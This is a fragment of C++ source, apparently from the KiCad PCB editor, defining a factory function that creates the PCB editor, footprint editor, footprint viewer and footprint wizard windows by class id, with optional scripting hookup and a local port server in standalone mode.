wxWindow* CreateWindow( wxWindow* aParent, int aClassId, KIWAY* aKiway, int aCtlBits = 0 ) { switch( aClassId ) { case FRAME_PCB: { PCB_EDIT_FRAME* frame = new PCB_EDIT_FRAME( aKiway, aParent ); frame->Zoom_Automatique( true ); #if defined(KICAD_SCRIPTING) // give the scripting helpers access to our frame ScriptingSetPcbEditFrame( frame ); #endif if( Kiface().IsSingle() ) { // only run this under single_top, not under a project manager. CreateServer( frame, KICAD_PCB_PORT_SERVICE_NUMBER ); } return frame; } break; case FRAME_PCB_MODULE_EDITOR: { FOOTPRINT_EDIT_FRAME* frame = new FOOTPRINT_EDIT_FRAME( aKiway, aParent ); frame->Zoom_Automatique( true ); /* Read a default config file in case no project given on command line. frame->LoadProjectFile( wxEmptyString, true ); */ return frame; } break; case FRAME_PCB_MODULE_VIEWER: case FRAME_PCB_MODULE_VIEWER_MODAL: { FOOTPRINT_VIEWER_FRAME* frame = new FOOTPRINT_VIEWER_FRAME( aKiway, aParent, FRAME_T( aClassId ) ); frame->Zoom_Automatique( true ); /* Read a default config file in case no project given on command line. frame->LoadProjectFile( wxEmptyString, true ); */ return frame; } break; case FRAME_PCB_FOOTPRINT_WIZARD_MODAL: { FOOTPRINT_WIZARD_FRAME* frame = new FOOTPRINT_WIZARD_FRAME( aKiway, aParent, FRAME_T( aClassId ) ); return frame; } break; default: ; } return NULL; }